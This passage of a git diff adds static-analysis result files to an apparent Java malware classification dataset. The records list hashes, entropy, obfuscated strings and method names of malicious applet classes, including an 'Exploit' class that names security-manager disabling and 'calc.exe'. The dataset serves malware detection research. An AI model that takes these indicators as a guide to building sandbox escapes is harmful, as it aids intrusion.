"java_malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664", "_id": "c8f1e52b-ff56-45be-8615-24f3add2f4c6", "score": 0, "entropy": 5.2089073497636065, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6953, "ssdeep": "96:KMHcfOZuulJzdbT+G6Shwy0Swo8pS2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T8mDlrZ5xEpSxhi/To55UTYwa5hGX1", "sha256": "166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664", "md5": "705b88098b4ba51f1de62161fd541ff3", "parent_sha256": "166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664"}} \ No newline at end of file diff --git a/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results b/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results new file mode 100755 index 0000000..cff93a6 --- /dev/null +++ b/java_classification/data/malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/vgtqfmcecyhv", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "xodiqxsqgbkxqua", "hpdgluddyaaenllj", "enmzvevqluduynhq", "zdyxfbzrofbtluresus", "zvdypjrdldwheobldg", "dmcmcbgrinqnxqaqx", "vqqlqxxflaea", "ojfeogeexrpkkhui", "sihdejxzkvykprczmmb", "opasdivtfxokewgylrl", "kknjkiakrenxkft", "phzvcdmomexqquv", "clnpameyesfzojdez"], "minor_version": 0, "const_pool_count": 205}}, "_id": "3831c5cd-17ed-48af-8774-d5978734341e", "verbose": {"java": {"constant strings": ["gpfmteeqitgpaoi", "hutnnb", "vg", "mbe", "gjzibrojopugwcd", "zoma", "fmmwgizovoddnb", "a", "aqomfwj", "x", "qdx", "orlloyw", "lyvwxsmjvvewc", "uqyfiubyuarr", "udtayinvki", "ehaqtupfc", "eoqgrojx", "jox", "znqwxebggwiqrw", "pmehlrt", "jrfuxiinfhfs", "g", "lc", "lrifa", "hsgencfbr", "udglpzting", "gklamxlfsn", "gpkxxanzcemlyqu", "qgcnjnakdcgmit", "ldagsbigdu", "zk", "felkurpx", "y", "mjqesfy", "uakzqofpschbs", "eemtinnpp", "mm", "vasehnkphnujs", "ixmei", "ccuzger", "yoeockfd", "gwzno", "ckhb", "bzl", "iikoosr", "eudjqfwa", "gfttyxkw", "fnzch"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "737e93de856f1609ae7ec89d088cd1c961821135", "file_name": "java_malicious/169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110", "_id": "3831c5cd-17ed-48af-8774-d5978734341e", "score": 0, "entropy": 5.653492700256877, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4224, "ssdeep": "48:lOpIwerrri0GPrrhkyM8lmpMZT/2CwoZQHuySalwqcGloVgEj3gYS2qEPvSSluMM:yFpxVBldUHuKwqhrEjxbDkczs5", "sha256": "169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110", "md5": "2653a249956c9a53e4793b07136f1e67", "parent_sha256": "169400a031c1b1babe12bc4e04a94e8a445bc0c63c19485e1f90be806c380110"}} \ No newline at end of file diff --git a/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results b/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results new file mode 100755 index 0000000..e2e6014 --- /dev/null +++ b/java_classification/data/malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "e160cd40-caa0-4e92-ab46-5c5f0dc487a7", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "2c7d9890-417c-4f9c-bdf1-12ddc738f091", "metadata": {"mimetype": "text/plain", "sha1": "6ae1ba10717f9e40a2beb1e6298f1d33f524f2e6", "file_name": "long string 0", "_id": "2c7d9890-417c-4f9c-bdf1-12ddc738f091", "score": 0, "entropy": 4.707023133893146, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1283, "ssdeep": "24:ELLibOLSxAzfLvy2q1z3XhSc+4iIF1lm5ef7neuzY7tTSAFHKovL+S:EvVL8Sby2YsXGceTneKxAFHKg+S", "sha256": "4d894ddc4f9d8b11bbf2964b8fd11a74e7922526123b77a47e23c61edaafdf0b", "md5": "0c9d8e552f58a6893dc0d951429950b5", "parent_sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec"}}], "combined strings entropy": 4.755240227429415, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "IIIIIIIIIIIIIIII"}}}, "constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PN,pL,Pl,PL,PL,PN,pn,pm,9y,kE,Pg,pu,Pa,O3,Tm,qV,PS,0E,Pe,PN,k3,pT,LN,kD,05,Ln,Mn,kC,X1,0m,PQ,mt,Ld,sp,tS,3j,6Z,KL,3N,ku,8S,8N,k9,gq,z3,4p,Yj,HL,OU,PG,pw,pM,2K,I1,xr,OB,NS,0u,P3,Xb,Ut,2R,Lp,mp,TK,Of,vL,KK,X9,xt,9w,pu,P5,PN,kN,7Q,Wo,pG,OW,pp,uz,ZS,wS,ga,Wm,PE,oU,Pt,5Z,Zn,kJ,O3,o4,sO,9N,a8,lg,tf,a3,0U,Pn,kK,lV,1c,b6,3R,Ht,D5,QW,pU,Py,oP,Vv,lr,z2,yF,1p,Rl,Kd,B6,3B,cm,Pg,Kw,p4,5k,Jk,1s,Kk,L6,NQ,uC,HQ,u2,UW,sk,3X,kT,HO,y5,SO,72,cW,tD,nr,Es,Hb,EK,vS,ss,87,pQ,Km,ZK,q5,TV,Pm,XQ,Uu,PV,Sk,p0,PP,P6,3P,WR,pK,OR,vd,Po,sy,h3,0P,u4,Fr,Ju,QP,Si,op,Vw,tS,jp,YM,SY,R6,dQ,QK,0w,JU,PQ,ex,4k,Oq,Fs,8p,QC,fL,Kd,5G,Ll,K2,TT,u4,8S,3j,Up,Vn,kp,v7,Pe,S8,u4,so,91,YS,qL,mV,ci,UV,Sy,KT,Oo,NF,p7,Hk,B1,dG,xo,1X,Kf,mW,sZ,z7,0J,Kz,QW,KU,O0,uK,Wq,Nn,kS,nU,tu,S9,Ms,VN,kT,LP,Kn,kq,NU,Ls,3Y,ML,Kt,Dl,Kt,CX,EL,k1,Nr,yO,3M,8u,Pk,Oy,oY,oN,np,NT,NJ,LN,xK,Nn,j4,NC,NJ,xK,Ra,cT,sK,zl,J3,ku,fw,jv,O4,01,Vw,8R,Og,1p,Vf,0p,jR,FC,0S,XP,tR,Tt,0w,J4,o6,O0,zS,Q3,Sq,uq,vS,Qd,nQ,yP,np,f2,OF,O0,pc,Q5,71,uv,OS,RQ,ud,3T,4V,Np,pa,xT,0F,O2,ND,pp,04,rT,qp,0P,6w,B6,PV,QV,SD,pP,40,rt,p6,Tt,pp,9q,ZD,qf,QP,0P,0F,PW,FT,pD,qs,bP,aD,sD,xb,DU,2R,Ew,DP,fp,WT,vu,et,qF,R3,Rs,Uu,3v,P6,8P,30,ft,qv,Uu,f6,Ps,U5,cS,it,w6,Sp,30,14,uu,de,6b,Ep,Zf,Pu,at,p0,0p,fP,0t,xF,PC,0u,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "acd5d1bc6081b945ea6325d7977155f394aa2848", "file_name": "java_malicious/169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec", "_id": "e160cd40-caa0-4e92-ab46-5c5f0dc487a7", "score": 0, "entropy": 6.13591172715866, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "96:6FlHptYFceTnlxUKF5Q+EiTNNkez/j83Ifh:QlvYFceRxBFj37nr83Ip", "sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec", "md5": "7c4a1942959c603e8a88f8c547e6ade9", "parent_sha256": "169fc9240135feb98188dc0c01e03c5764e52111f4abfa6c4bd702240e3f9fec"}} \ No newline at end of file diff --git a/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results b/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results new file mode 100755 index 0000000..b74b837 --- /dev/null +++ b/java_classification/data/malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Zixi2.java", "class_name": "like/Zixi2", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "tuttt"], "minor_version": 0, "const_pool_count": 70}}, "_id": "774159e9-dc48-4f92-9bbe-ac58b185f2e5", "verbose": {"java": {"constant strings": ["oregjoergjpergijperjigpeirjpgierjpgijer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ce35d5133a11b88681911ce46b683196666219a", "file_name": "java_malicious/16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a", "_id": "774159e9-dc48-4f92-9bbe-ac58b185f2e5", "score": 0, "entropy": 5.422541840194757, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1422, "ssdeep": "24:vAy8kAlj6sFSl4+EZ8Y6JD5K8zZdMW/06rvsruA3Q5:vAy8kAlGgS+AD/MW/fsyA3Q5", "sha256": "16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a", "md5": "7f04e812a208fdb40b2da4c3ae3e8d21", "parent_sha256": "16aa9ec0cc31d73ecb728a6554f4bbd71191a1b1cd9b8fa60a24052b3c0f5d9a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results b/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results new file mode 100755 index 0000000..68c45e6 --- /dev/null +++ b/java_classification/data/malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ulnAOYuu.java", "class_name": "aHrMCrboe/ulnAOYuu", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "WGFXiwBBT", "bNMxXyU", "xGVCm", "VKLYmKnL", "yyujfXNhM", "ixsydAE", "pjjCvT"], "minor_version": 0, "const_pool_count": 100}}, "_id": "ed5aa9b0-b7fa-41eb-9281-ea5dbe2b1c1b", "verbose": {"java": {"constant strings": ["$/8/`8+<=\\'! ", "\\x11", "\\x12`", "~~", "c"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b2a879bc6155bf9cdea63b70f5954f91a32c1169", "file_name": "java_malicious/16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3", "_id": "ed5aa9b0-b7fa-41eb-9281-ea5dbe2b1c1b", "score": 0, "entropy": 5.516707417688044, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1862, "ssdeep": "48:l3FyFluokrV8YUeGJv/9t52u63ibkk6gKJ:RQFlSrV8t3d2l3/dX", "sha256": "16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3", "md5": "b4174275279d7dfc18bb9d05f9395525", "parent_sha256": "16e883bdb72cb367ef616b5668270ebb5971bb64774b495e55ac7db02c652bf3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results b/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results new file mode 100755 index 0000000..dc3ed23 --- /dev/null +++ b/java_classification/data/malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "fe188762-f8d2-471a-9b5e-9e76d9a62fd3", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "2faefe3a-78a4-44d5-ae7f-3825bdc6853a", "metadata": {"mimetype": "text/plain", "sha1": "ca048c80087dff299360cce27f4dfbb0e17bf81f", "file_name": "long string 0", "_id": "2faefe3a-78a4-44d5-ae7f-3825bdc6853a", "score": 0, "entropy": 4.759845853641579, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1316, "ssdeep": "24:mi04l/XNdbs03GldjIOTvFJylcFb2UJzO6tuIR4yBG:mN4FXbbg8O3ylI2QzORI2yBG", "sha256": "59b54c74daeae4290d85f7de1fbea5e6aefd080cf0eb1eb24fc2563bc9ae4242", "md5": "cb3de45f87415435dba1b02493ae2ce6", "parent_sha256": "179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e"}}], "combined strings entropy": 4.767482517561632}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pL,PN,pZ,0L,Pn,pZ,0z,IY,kW,pG,pw,pQ,OQ,tl,aD,pw,pG,pW,pN,kQ,PV,ln,kR,Pu,LL,mL,K0,hU,pM,Ps,Md,Lu,cP,tU,Sj,6X,kX,sL,KP,hV,hl,KZ,W3,Zs,46,9H,hN,oc,0E,PS,0i,rh,yu,8p,oB,Nw,pG,p3,XS,EP,rP,lP,mS,dy,og,fl,Kz,HM,8p,yw,pg,pG,pL,K8,WQ,WM,Pu,o3,0b,Ux,z0,Gp,WS,wo,pW,Og,pS,E8,zL,Kz,OQ,Ot,sh,Io,qZ,LU,Tu,QW,pU,PL,Ki,L2,qf,2F,3Q,x3,4v,ag,pU,Pk,Ob,vT,Lp,Zc,ip,QR,rn,kU,RQ,C3,sm,Pw,Ku,Pq,ek,JM,QS,Ki,lF,Nb,E4,8a,u2,Uc,3l,CX,kd,Hm,Yu,Si,Wr,cw,tV,NS,Ur,Xa,uZ,f0,C5,Xg,pC,kL,Jk,qE,Tv,Po,xq,Ug,p0,3o,0r,pP,PP,Sq,Gp,PK,Ob,vf,pK,3I,hg,pD,5e,VQ,zv,aF,39,op,Ve,Tp,Z0,YN,cI,RW,ta,QO,pW,JU,PD,5m,dk,OR,vF,h0,Qr,vN,kQ,e5,lN,kr,Tu,eq,h5,SX,uf,6L,Kt,6g,PS,3y,eG,Co,9Q,Ys,qL,mE,SO,5T,si,K6,oo,NR,0F,Xl,2a,de,Xk,qJ,kD,MW,s9,JS,pZ,KI,aW,KU,OT,5h,ga,NL,Ka,Nt,d4,CK,mU,6n,kv,lr,kL,KQ,NW,lV,cK,mL,KF,dl,KW,sy,UL,kc,nP,YO,3m,8S,09,oI,oI,oN,nr,n4,Nz,Ln,x9,nM,ZT,Na,nk,hi,rs,Cw,CK,zL,J1,Kf,VW,jd,oP,p3,Qq,TU,7p,Vu,Pu,8Q,dq,dR,PV,Zt,ov,O3,Gs,Xr,Yr,Sq,xq,u2,HS,QQ,td,4p,os,Sr,Ob,Mp,ev,Np,cP,o0,mV,Oq,su,7Q,yf,MQ,rR,IP,nV,Oc,St,2R,Ep,aT,4b,O3,Bv,N1,qa,cb,Ps,HT,oR,NT,p4,pt,x4,qV,PD,ve,bt,pe,aV,S4,pt,t0,rT,pv,T4,pp,93,zv,QP,1f,Pd,pV,Pw,Fp,0V,Q2,rW,H0,3Q,qU,iw,IQ,vP,de,13,g6,Pe,dv,VC,Tf,YE,i1,tp,dR,xU,3U,gg,Cv,Wd,rS,Ve,dF,Qv,9p,8U,3r,Ep,fD,pV,UV,YD,r3,jD,pT,q4,pT,pP,ft,pd,xv,PS,0u,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "858386958d5f12d5028dae81013fb0ca2e375b20", "file_name": "java_malicious/179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e", "_id": "fe188762-f8d2-471a-9b5e-9e76d9a62fd3", "score": 0, "entropy": 6.106502140720603, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3231, "ssdeep": "96:HFlmUXbs8YyWORnyTDE2iTULNkez1zNjWZ:llBHYrOR+Q5ApnJNiZ", "sha256": "179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e", "md5": "af532455d514413f63322a7f887ab571", "parent_sha256": "179baa05ffa50b288fb055278014f28168687b26b55e62ca5341650f01e9fc9e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results b/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results new file mode 100755 index 0000000..c2226e6 --- /dev/null +++ b/java_classification/data/malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "ia/classprotect/Start", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "a", ""], "minor_version": 3, "const_pool_count": 106}}, "_id": "e071cc04-ee7c-4d6b-ae02-8f79a053544c", "verbose": {"java": {"constant strings": ["$kS_S,y\\x0eLM\"~\\x18_KcY\\t]M9", "$kST", " k\\x14R"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ad587648867a051fc920de75138032c371323934", "file_name": "java_malicious/18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc", "_id": "e071cc04-ee7c-4d6b-ae02-8f79a053544c", "score": 0, "entropy": 5.6527131414032805, "libmagic": "compiled Java class data, version 45.3", "file_size": 1703, "ssdeep": "48:ZK9MyyyihpFxZ6cHwAQ312C+PV4zgek3z/E:KO3hTn6gNAgeu/E", "sha256": "18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc", "md5": "cb902e0b3725bdcb2e35e12058b5967a", "parent_sha256": "18e7bef3d70475e6cdf3440c78535d5fa57d466e7dce6c520f1329631a0398dc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a.results b/java_classification/data/malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a.results new file mode 100755 index 0000000..204cad0 --- /dev/null +++ b/java_classification/data/malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/cssksvmus", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "mfaggows", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "78474f69-0942-4d65-8db2-1202a7d3f993", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f7daa3d064d1e46b511f2da75a30b93588f3273d", "file_name": "java_malicious/1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a", "_id": "78474f69-0942-4d65-8db2-1202a7d3f993", "score": 0, "entropy": 5.18984752220639, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6873, "ssdeep": "96:KMHmOPh3FJhayQgKDcoNqxLKo8pA2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TGOZF7QgKDsGpAxhi/To55UTYwa5hGX1", "sha256": "1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a", "md5": "c64e360c3a1f679003e6c00f91d6d636", "parent_sha256": "1a079dd8e74a7f4c77e436d6d5a992f9636b2ff9b03f17295a12f7303d898e1a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results b/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results new file mode 100755 index 0000000..3a3f469 --- /dev/null +++ b/java_classification/data/malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Globals", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "main", "myftysbrtha", "myftysbrthe", "myftysbrtha", "myftysbrtha", "myftysbrthf", "myftysbrthc", "myftysbrthd", "myftysbrtha", "myftysbrthb", ""], "minor_version": 0, "const_pool_count": 288}}, "_id": "6a3aea3f-ff75-41f5-8d21-bbe9ca6c856a", "verbose": {"java": {"constant strings": ["", "\\x10\\'Tk7", "\\x11$H2>\\x13", "\\x11%", "\\x12(`", "\\x14c\\n\\x7f1", "\\x1f~^g1F", "1", "BiKc\\x7f>H_j}IZ?/\\x1e]zp\\x1fl\"W@\\x17A\\x7f~M\\tD!|E\\x0b\\x10^|~0EI\\x08u\\x11D[u1\\x1fjB\\x06H1i^ig\\x1d\\x14)\\x0b@ KHLh,\\x08Iw6#CILa\\x0ca&YK\\xc0\\x80uZmV=pKWAktk{hjrTh^)~E\\x0fL\\x17F~~4`buN^0Ah\\nk\\x15\\x11rJj;p!tt\\x0bL@WS(bap_8HF\\rQ?UZ\\x0fdkvWL6\\rkT]3\\nDGh~.F_Y`n]WyJh\\x15\"o40aYX5\\x14Uwzn=o[YSvu&\\\\A\\t\\x08FRw FxR\\x7f\\x0fbV\\x0ee\\x1buim4HZkNrvfJj=e@F1aSTJ27U(xS\\x16\\x1f!tNl\\x14\\x7ff^4~{}Djw]j>)M#\\x10o=_(Wo)i|o^\\x18UXW\\\\5Qa]ll}H\\x10Jo?4BAID)]A\\x0fT\\x0b^BrV,j(UU5@R\\x07t)s{njnnfu`\\x1flxrs0VrMh:dbuh\\x0bHv]3\\x14pIO06~K\\rs6fEl30HWwslqejp\\xc0\\x80\\x7fDFD\\x1fFRQB?W[yn1]Vj|\\x17K oa\\x12~\\'Ub=eTkb\\x1cme\\rrvif\\n_\\x1e\\x11$\\x0eT\\x1fm&H@jKiNmv~bWv(\\x7fTxL1kYlh\\x1a\\x0c:wl\\x0ffrVr\\x03jf^1n\\x1e`p5?R`h\\x7f0@dEJoMGVm\\x1cux|-lU|JIn}%Es8SHlI\\x0f\\x7f%ZAaBVVp0PR]M\\x10\\x17_SB\\x12\\x16dWim\\x1f>Wb\\x15vsZr4sWZl\\x1d\\x15ZOu\\x0c]#nG\\x1eDxkIh@ \\nj(K|hA\\x11Pbqm\\x03RAlI\\n}COr1\\x1f {T+u$g?\\x01Qtel4N^vh2C:mjrTX\\x0fI+\\x14Iw@-o~\\x0c^(NZQ\\x7f\\xc0\\x80TU\\x0b\\x7f:QiXe7pt\\x0ew6s&gd\\nf$G>\\x1aE:ql\\x13IF\\x0bK1qk\\\\m,JeZD?HV\\t\\\\)fc^Am\\x0c@R5>iu\\\\_\\x11\\x11fU0\\x13KC\\x10\\\\6^xm>:HWeg\\x17Vdyd\\x1fK(Z6\\x0fou\\x07D1shwu Ti\\x10C1dF\\\\M\\x12\\x0cp\\x06D:myyI\\x0fjgn?aWK|O\\x1cT&M~+si}Ei\\x7fimd\\x1f\\x17X}u\\x14\\x17D\\x062#qskJ\\x0fM}~)#sv\\x06t\\x1dt&JC1SU]Cj_d\\nK\\x1c\\x14u}r\\x14Pr\\r28`bXo.mGqI\\x1e`tWL\\x16p]Ud;fw]j*UA~S\\x03AB^g3\\x13)eL\\x15_[\\t?\\x16TyIP\\x1eK [j\\x0bpgPw\\x12C@\\n_\\tKKEg\\x1fo^{j\\x18j%e~0]{\\x08o\\nBU\\x08|\\x18a\\'\\x0eblChTh\\x03\\x1eT}L\\x15@UR4\\xc0\\x80\\x1fTJc-K\\'ki\\x10WW\\x0f~FRiV5qC\\x0fS0da\\tcnl\"jl3\\x14bJR8f~Gd\\x1dQ`\\\\s\\nutV|\\x16\\x11WLn/\\x17_jU6JAV35H[TS\\xc0\\x80R}SghLF[r\\x03\\x13vU4\\x1d]\\'l@\\x11CI\\x08I\\x1fD{ev/NDJ^\\x1cLtU-0k#]3+w{KS\\rmgl\\\\?u`y>\\x08d&\\\\7,c\"XR3dYS\\\\\\x0b`v~^\\x1cL\\'pm/r\"ta \\x7fIIwm\\x16y\\x0eO\\x15E]^E\\x0eVii2=cVgP\\x15]@nj4qZ{~vE@gv2`}t5\\x1bFkXS)\\x7fd{s)]~lBrEPs_\\x18\\x12%\\tB1tC[>)Q}\\x10m\\x01mrPJ3SD\\x0es?\\x11[EL*\\x13 PO2S$K24K@tS\\x03\\x08tRikAy\\x07CiNg\\x10B1\\x08bF|-v|I?\\r\\x0c{nvm_Hzo\\taZxc8TG\\\\5\\x01DggEi\\x1eU\\t^h]ZjO4JWREaf)y1-h`EVvaAl~-k$H5\\x1a\\x08]\\x0eS2cH}u\\x14cV[Pn`^^`*\\x0cX\\x105iD^RTiKP^M\\njgh?\\x16i$\\\\L`Lag> ^]yHaE|mI1\\x15\\'pR\\n_e\\x0fK,Ct\\x08)i\\x16kt)`nFEP\\x0cs^\\x0f7\\x0c\\x1fVpt0\\x11 lC.\\x0c\\\\Ve\\x1aADxM#Qcv5oaWFm6F YImvfTK(rh\\x0c@\\x11SCS`lM)lQ:cs\\x14@\\x16tp\\x06N+vgGC1IDg3/Afzj8\\x08XG5/\\x08kv`\\nq(z^mSTX1\\x1cv&^MvTWrJ\\x01uYZI\\x1eDpFs\\x12b })#dd\\nT>oXRDmwBgI\\x13n{eo,ffin+ssgo+syLDr\\x16_\\x0cq\\x0btV\\x07qoK}^q`\\x1e\\\\lJ``)S_n\\x17zjEo^SG~\\tcrI58RD]78\\x14]\\x10>8d)Rg>dSvDmK|j5,r@H6\\x18S}YLm_SRS\\x18og}_i\\x14DzG=R@m> H\\\\gr?DGig\\x03e\\'xe\\r\\x0ccger_$eL\\x01WhW^hTBzj\\x10BPjP3Nz{)keH\\nG\\r\\x0c>i16mYj?\\x15otJd<\\x16zi\\\\kd \\x06nrO{qA\\x12WbE>!HRQH\\x13h(lnmP>J_+vy\\x06k;TWp\\x7f\\x18K|\\rh\\tkyOa+EI\\t24L)ODv\\x08%it\\x0bAgP1hD@\\x0b5\\x18Wb\\x0f\\\\r^@[?*uGZK\\x1fO(W|0lPfL.\\x1fr~e\\nipuw#cyG~)~)Th5@xU)aI:\\tP\\x1e^ih3\\x0fWxXqrND\\r6kDXXs\\x1ac\\\\Ho8lZhg\\x1fOp\\x06W:e\\x7fF_8rxKw>FUnp\\x03AtyL\\x0eJt{lj^>PM?E(gl", "l", "nB"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f729840b0ef6c1aa2ab8e5e99708e2e4fb0bad9b", "file_name": "java_malicious/1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241", "_id": "6a3aea3f-ff75-41f5-8d21-bbe9ca6c856a", "score": 0, "entropy": 6.662760668257783, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 8099, "ssdeep": "96:aR3f8vQ/TRRxLhqEBpBGCOS0BZxS6qq5W38bFlVGlIdvMunMcuomHDHv8W4E2hpt:aRP158IAxQizFbGsMhcu/v8W7e", "sha256": "1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241", "md5": "3e9db6beffc4a0bce885bea7bda54745", "parent_sha256": "1b03264bdb661b2ba54e1c5a456e9254c8c48edcca1308b861e1b061aab17241"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1.results b/java_classification/data/malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1.results new file mode 100755 index 0000000..4f63632 --- /dev/null +++ b/java_classification/data/malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "main", "disableSecurity", "GetClass", "SetField", "init", "paint"], "minor_version": 0, "const_pool_count": 167}}, "_id": "bc32cef0-3910-41b9-ac82-aeaf2debe3cd", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "getField"}}}, "constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "calc.exe", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "716112ddcb246779ad6a1ae920c34530ee1070e1", "file_name": 